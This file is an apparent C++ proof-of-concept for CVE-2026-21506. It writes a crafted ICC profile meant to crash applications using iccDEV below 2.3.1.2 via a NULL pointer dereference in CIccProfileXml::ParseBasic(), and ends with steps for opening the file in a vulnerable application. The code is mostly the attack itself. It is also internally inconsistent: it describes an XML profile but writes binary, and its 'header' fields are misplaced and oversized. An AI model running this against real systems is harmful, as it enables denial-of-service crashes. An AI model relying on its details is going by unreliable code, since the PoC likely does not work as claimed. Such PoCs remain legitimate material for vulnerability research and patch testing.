/*
CVE-2026-21506 PoC - Null Pointer Dereference in CIccProfileXml::ParseBasic()
This PoC demonstrates the vulnerability by creating a malformed ICC profile XML
that triggers NULL pointer dereference in iccDEV < 2.3.1.2
*/
#include <iostream>
#include <fstream>
#include <cstring>
// Minimal ICC profile structure to trigger the vulnerability
unsigned char malicious_icc_profile[] = {
// ICC profile header (128 bytes)
0x00, 0x00, 0x02, 0x00, // Profile size (will be set dynamically)
'a', 'c', 's', 'p', // Profile signature
0x00, 0x00, 0x00, 0x00, // Preferred CMM type
0x02, 0x10, 0x00, 0x00, // Profile version
0x00, 0x00, 0x00, 0x00, // Profile/device class
'X', 'Y', 'Z', ' ', // Color space
'n', 'm', 'c', 'l', // PCS
0x00, 0x00, 0x00, 0x00, // Date (simplified)
'a', 'c', 's', 'p', // Profile signature
0x00, 0x00, 0x00, 0x00, // Platform
0x00, 0x00, 0x00, 0x00, // Flags
0x00, 0x00, 0x00, 0x00, // Device manufacturer
0x00, 0x00, 0x00, 0x00, // Device model
0x00, 0x00, 0x00, 0x00, // Device attributes
0x00, 0x00, 0x00, 0x00, // Rendering intent
0x00, 0x00, 0xF6, 0xD6, // PCS illuminant
0x00, 0x00, 0x00, 0x00, // Profile creator
0x00, 0x00, 0x00, 0x00, // Profile ID (MD5)
// Padding to reach 128 bytes
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};
void create_malicious_profile(const char* filename) {
// Set profile size
int profile_size = sizeof(malicious_icc_profile);
malicious_icc_profile[0] = (profile_size >> 24) & 0xFF;
malicious_icc_profile[1] = (profile_size >> 16) & 0xFF;
malicious_icc_profile[2] = (profile_size >> 8) & 0xFF;
malicious_icc_profile[3] = profile_size & 0xFF;
std::ofstream outfile(filename, std::ios::binary);
if (outfile.is_open()) {
outfile.write(reinterpret_cast<char*>(malicious_icc_profile), profile_size);
outfile.close();
std::cout << "Malicious ICC profile created: " << filename << std::endl;
std::cout << "Profile size: " << profile_size << " bytes" << std::endl;
std::cout << "This file is designed to trigger NULL pointer dereference in" << std::endl;
std::cout << "CIccProfileXml::ParseBasic() when processed by iccDEV < 2.3.1.2" << std::endl;
} else {
std::cerr << "Failed to create file" << std::endl;
}
}
int main(int argc, char* argv[]) {
const char* output_file = "CVE-2026-21506_malicious.icc";
if (argc > 1) {
output_file = argv[1];
}
std::cout << "=== CVE-2026-21506 PoC Generator ===" << std::endl;
std::cout << "Target: iccDEV < 2.3.1.2" << std::endl;
std::cout << "Vulnerability: NULL pointer dereference in CIccProfileXml::ParseBasic()" << std::endl;
std::cout << std::endl;
create_malicious_profile(output_file);
std::cout << std::endl;
std::cout << "Usage:" << std::endl;
std::cout << "1. Compile this PoC: g++ -o poc poc.cpp" << std::endl;
std::cout << "2. Run: ./poc malicious.icc" << std::endl;
std::cout << "3. Open malicious.icc with any application using vulnerable iccDEV version" << std::endl;
std::cout << "Expected result: Application crash (Segmentation Fault)" << std::endl;
return 0;
}